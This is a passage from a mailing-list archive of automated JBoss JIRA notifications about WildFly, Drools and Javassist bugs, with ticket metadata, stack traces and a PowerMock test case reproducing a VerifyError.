From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 14:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500142.1378404490000.11874.1378404904093@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2013?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802043#comment-12802043 ] 

RH Bugzilla Integration commented on WFLY-2013:
-----------------------------------------------

Stuart Douglas <sdouglas at redhat.com> made a comment on [bug 1004919|https://bugzilla.redhat.com/show_bug.cgi?id=1004919]

Proposing for EAP 6.2, as this is trivial and will give a slight performance improvement.
                
> SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2013
>                 URL: https://issues.jboss.org/browse/WFLY-2013
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 14:19:04 2013
From: jira-events at lists.jboss.org (SBS JIRA Integration (JIRA))
Date: Thu, 5 Sep 2013 14:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-4187) jsp configuration is ignored
In-Reply-To: <JIRA.12461792.1331825485000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12461792.1331825485000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12461792.1331825485000.11895.1378405144361@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/AS7-4187?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

SBS JIRA Integration updated AS7-4187:
--------------------------------------

    Forum Reference: https://community.jboss.org/message/723945#723945, https://community.jboss.org/message/836443#836443  (was: https://community.jboss.org/message/723945#723945)

    
> jsp configuration is ignored
> ----------------------------
>
>                 Key: AS7-4187
>                 URL: https://issues.jboss.org/browse/AS7-4187
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Web
>    Affects Versions: 7.1.1.Final
>            Reporter: Tomaz Cerar
>            Assignee: Tomaz Cerar
>             Fix For: 7.1.2.Final (EAP)
>
>
> JSP, static-resources and container settings are ignored

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 14:29:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 14:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2004) Formatter "COLOR-PATTERN" is
	not found
In-Reply-To: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500018.1378366639000.11917.1378405743536@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2004?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-2004:
--------------------------------------

    Assignee: James Perkins  (was: Brian Stansberry)


Reassigning to James as this looks pretty specific to the logging subsystem implementation.

Heiko, I wasn't able to reproduce this on my rbac branch (which I'll merge to master this afternoon.) To reproduce I started a master HC with the attached domain.xml and then started a slave HC with the attached host.xml. Since the slave server was auto-start="true" the server was launched as part of HC boot and it started without issue.
                
> Formatter "COLOR-PATTERN" is not found
> --------------------------------------
>
>                 Key: WFLY-2004
>                 URL: https://issues.jboss.org/browse/WFLY-2004
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Logging
>            Reporter: Heiko Braun
>            Assignee: James Perkins
>             Fix For: 8.0.0.Beta1
>
>         Attachments: domain.xml, host.xml
>
>
> Failed to start a server on a second host:
> {noformat}
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010919: Registering server stage1
> [Server:stage1] ERROR [org.jboss.as.controller.management-operation] JBAS014612: Operation ("add") failed - address: ([
> [Server:stage1]     ("subsystem" => "logging"),
> [Server:stage1]     ("console-handler" => "CONSOLE")
> [Server:stage1] ]): java.lang.IllegalArgumentException: Formatter "COLOR-PATTERN" is not found
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:83) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:80) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:338) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:291) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:303)
> [Server:stage1] 	at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 15:05:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 15:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.11978.1378407903775@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-1997:
------------------------------

    Fix Version/s:     (was: 8.0.0.CR1)

    
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 15:05:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 15:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.11982.1378407904037@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-1997:
------------------------------

    Fix Version/s: 8.0.0.CR1

    
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 15:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 15:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-218) Update add-user utility to
 allow overrides of property file name.
In-Reply-To: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489742.1366220996000.12074.1378410483828@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-218?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802072#comment-12802072 ] 

RH Bugzilla Integration commented on WFLY-218:
----------------------------------------------

sgilda at redhat.com made a comment on [bug 978984|https://bugzilla.redhat.com/show_bug.cgi?id=978984]

Thanks bstansberry!
                
> Update add-user utility to allow overrides of property file name.
> -----------------------------------------------------------------
>
>                 Key: WFLY-218
>                 URL: https://issues.jboss.org/browse/WFLY-218
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Alpha3
>
>
> This enhancement is going to add two additional command line options to the add-user utility: -
> -up --user-properties
> This will specify the file name of the properties file containing the users and passwords.
> -gp --group-properties
> This will specify the file name of the properties file containing the users groups.
> If specified as absolute paths no searches will be used to locate additional file otherwise both the standalone and domain configuration folders will be searched for matching files.
> group-properties can only be specified if there is a user-properties, the omission of group-properties will disable the prompt to ask for a users groups.
> Specifying a user-properties disables the prompt asking if this is management or application as the primary reason for asking that was to decide which files to look for.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 16:10:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 5 Sep 2013 16:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-253) Importing a domain class
 named "Exception" raises an ambiguity exception during RHS compilation
In-Reply-To: <JIRA.12500159.1378411795801@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500159.1378411795801@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500159.1378411795801.12103.1378411803462@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-253:
-------------------------------------

             Summary: Importing a domain class named "Exception" raises an ambiguity exception during RHS compilation
                 Key: DROOLS-253
                 URL: https://issues.jboss.org/browse/DROOLS-253
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Blocker
             Fix For: 5.5.1.Final,  6.0.0.CR4


If a user class named Exception is used,

import my.own.domain.Exception

rule "Foo"
when then end

the RHS compilation process resolves "Exception" to that name
rather than to java.lang.Exception

>> Rule compilation error [Rule name=Foo] : 
   {if import * is used } The type Exception is ambiguous
   {if explicit import is used } Exception is not Throwable

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 16:30:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 5 Sep 2013 16:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-205) "VerifyError: Inconsistent
 stackmap frames" from PowerMock (using Javassist 3.18)
In-Reply-To: <JIRA.12494678.1371667820000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494678.1371667820000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494678.1371667820000.12139.1378413003849@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JASSIST-205?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated JASSIST-205:
---------------------------------

    Fix Version/s: 3.18.1-GA

    
> "VerifyError: Inconsistent stackmap frames" from PowerMock (using Javassist 3.18)
> ---------------------------------------------------------------------------------
>
>                 Key: JASSIST-205
>                 URL: https://issues.jboss.org/browse/JASSIST-205
>             Project: Javassist
>          Issue Type: Bug
>    Affects Versions: 3.18.0-GA
>         Environment: jdk1.7.0_21, Win8amd64
>            Reporter: Ryan Kenney
>            Assignee: Shigeru Chiba
>             Fix For: 3.18.1-GA, 3.19.0-GA
>
>         Attachments: PowerMockDemo.zip, powermockdemoDEBUG.txt, PowerMockTest.class, PowerMockTest.javap, PowerMockTestCorrectedOffsets.javap, PowerMockTestLatest.javap, PowerMockTestPatched.javap, PowerMockTestWithChibaFix.javap, PowerMockTest_jdk8.javap, TEST-PowerMockTest.xml
>
>
> Apologies if this is a duplicate of JASSIST-204. I didn't delve into the actual Javassist APIs used, I'm simply seeing an error in my PowerMock usage. Fortunately, this ticket provides a very simple test case for reproducibility.
> I was prompted to open a Javassist ticket by the following PowerMock ticket: https://code.google.com/p/powermock/issues/detail?id=355
> I'm attaching a very simple maven project with a unit test to demonstrate the problem.
> Here are the guts of the failing unit test:
> {code}
> @RunWith(PowerMockRunner.class)
> @PrepareForTest( {MyClassUnderTest.class} )
> public class PowerMockTest {
> 	/**************************************************************************
> 	 * Demonstrates an "Inconsistent stackmap frames" exception that results
> 	 * from PowerMock 1.5 and JDK 7.
> 	 *************************************************************************/
> 	@Test
> 	public void testWaitForExitMockMonitors() throws InterruptedException {
> 		resetAll();
> 		
> 		Object mockMonitor = createStrictMock(Object.class);
> 		MyClassUnderTest myClass = new MyClassUnderTest(mockMonitor);
> 		
> 		mockMonitor.wait(0);
> 		mockMonitor.notifyAll();
> 		
> 		replayAll();
> 		
> 		myClass	.run();
> 		
> 		verifyAll();
> 	}
> 	
> 	public static class MyClassUnderTest {
> 		private Object m_monitor;
> 		
> 		public MyClassUnderTest(Object monitor) {
> 			m_monitor = monitor;
> 		}
> 		
> 		public void run() throws InterruptedException {
> 			m_monitor.wait(0);
> 			m_monitor.notifyAll();
> 		}
> 	}
> }
> {code}
> And here is my error:
> {code}
> java.lang.VerifyError: Inconsistent stackmap frames at branch target 283 in method com.scea.dart.cmd.targetcontrol.target.process.PowerMockTest.testWaitForExitMockMonitors()V at offset 274
> 	at java.lang.Class.getDeclaredMethods0(Native Method)
> 	at java.lang.Class.privateGetDeclaredMethods(Class.java:2451)
> 	at java.lang.Class.privateGetPublicMethods(Class.java:2571)
> 	at java.lang.Class.getMethods(Class.java:1429)
> 	at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl.getTestMethods(PowerMockJUnit44RunnerDelegateImpl.java:95)
> 	at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl.<init>(PowerMockJUnit44RunnerDelegateImpl.java:71)
> 	at org.powermock.modules.junit4.internal.impl.PowerMockJUnit49RunnerDelegateImpl.<init>(PowerMockJUnit49RunnerDelegateImpl.java:29)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
> 	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
> 	at java.lang.reflect.Constructor.newInstance(Constructor.java:525)
> 	at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.createDelegatorFromClassloader(JUnit4TestSuiteChunkerImpl.java:143)
> 	at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.createDelegatorFromClassloader(JUnit4TestSuiteChunkerImpl.java:39)
> 	at org.powermock.tests.utils.impl.AbstractTestSuiteChunkerImpl.createTestDelegators(AbstractTestSuiteChunkerImpl.java:217)
> 	at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.<init>(JUnit4TestSuiteChunkerImpl.java:59)
> 	at org.powermock.modules.junit4.common.internal.impl.AbstractCommonPowerMockRunner.<init>(AbstractCommonPowerMockRunner.java:32)
> 	at org.powermock.modules.junit4.PowerMockRunner.<init>(PowerMockRunner.java:33)
